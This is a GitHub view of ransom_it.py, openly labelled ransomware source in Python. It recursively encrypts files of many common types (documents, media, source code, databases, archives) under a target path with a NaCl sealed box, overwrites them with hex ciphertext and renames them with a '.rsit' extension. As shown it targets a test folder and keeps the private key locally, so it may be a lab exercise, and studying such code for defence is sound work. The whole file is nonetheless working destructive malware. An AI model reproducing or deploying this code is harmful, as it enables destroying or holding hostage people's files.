-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathransom_it.py
150 lines (114 loc) · 4.54 KB
/
ransom_it.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
"""Module for ransom_it.py"""
import uuid
import binascii
import contextlib
import itertools
import os
from pathlib import Path
from nacl.public import SealedBox, PrivateKey
class Cryptographer:
"""
Encrypt folders from / path
"""
FILE_EXTENSION = ".rsit"
def __init__(self, public_key):
self.box = SealedBox(public_key)
def encrypt_data(self, filename):
"""
Encrypt data using the public key
"""
# Get data from file
with contextlib.suppress(FileNotFoundError):
with open(filename, 'rb') as file:
data = file.read()
# Encrypt data
encrypted_data = self.box.encrypt(data)
# Encode data to hex
encoded_encrypted_data = binascii.hexlify(encrypted_data)
# Write encrypted_data to file
with open(filename, 'wb') as file:
file.write(encoded_encrypted_data)
############################################
# Encode/Decode Filename #
############################################
def encode_filename(self, filename):
"""
Encode filename
"""
path = Path(filename)
path = str(path.parent).encode()
# Encode filename in hex value
encoded_filename = binascii.hexlify(filename.encode())
with contextlib.suppress(OSError):
# Rename file
os.rename(filename, path+b'/'+encoded_filename+str.encode(self.FILE_EXTENSION))
############################################
# Encrypt/Decrypt Folders #
############################################
def encrypt_folder(self, path):
"""
Encrypt files in folder and subfolders from path
"""
# Extension list
extensions = [
# SYSTEM FILES - BEWARE! MAY DESTROY SYSTEM!
# 'exe,', 'dll', 'so', 'rpm', 'deb', 'vmlinuz', 'img',
# images
'jpg', 'jpeg', 'bmp', 'gif', 'png', 'svg', 'psd', 'raw',
# music and sound
'mp3', 'mp4', 'm4a', 'aac', 'ogg', 'flac', 'wav', 'wma', 'aiff', 'ape',
# Video and movies
'avi', 'flv', 'm4v', 'mkv', 'mov', 'mpg', 'mpeg', 'wmv', 'swf', '3gp',
# Microsoft office
'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx',
# OpenOffice, Adobe, Latex, Markdown, etc
'odt', 'odp', 'ods', 'txt', 'rtf', 'tex', 'pdf', 'epub', 'md',
'yml', 'yaml', 'json', 'xml', 'csv', # structured data
'db', 'sql', 'dbf', 'mdb', 'iso', # databases and disc images
'html', 'htm', 'xhtml', 'php', 'asp', 'aspx', 'js', 'jsp', 'css', # web technologies
'c', 'cpp', 'cxx', 'h', 'hpp', 'hxx', # C source code
'java', 'class', 'jar', # java source code
'ps', 'bat', 'vb', # windows based scripts
'awk', 'sh', 'cgi', 'pl', 'ada', 'swift', # linux/mac based scripts
'go', 'py', 'pyc', 'bf', 'coffee', # other source code files
'zip', 'tar', 'tgz', 'bz2', '7z', 'rar', 'bak', # compressed formats
]
# Encrypt and encode all files in folders with specified extensions
for root, _, files in os.walk(path, topdown=True):
for filename, (index, _value) in itertools.product(files, enumerate(extensions)):
extension = f'.{extensions[index]}'
if extension in filename:
target = f'{root}/{filename}'
self.encrypt_data(target) # Encrypt Data
self.encode_filename(target) # Encode Filename
class Key:
"""
Key class manage a key pair
"""
def __init__(self):
self.generate_key()
self.key_id = uuid.uuid4()
self.write_key()
print(f"Your ID : {str(self.key_id)}")
def generate_key(self):
"""
Generate keys with ED25519 algorithm and put into variables
"""
self.private = PrivateKey.generate()
self.public = self.private.public_key
def write_key(self):
"""
Write key values into files
"""
with open(f'{self.key_id}_private.key', 'wb') as file:
file.write(self.private.encode())
with open(f'{self.key_id}_public.key', 'wb') as file:
file.write(self.public.encode())
if __name__ == "__main__":
# CONSTANT
TARGET_PATH = "/home/USERNAME/Documents/CrashTest"
# Create instances
key = Key()
crypto = Cryptographer(key.public)
# Encrypt folder
crypto.encrypt_folder(TARGET_PATH)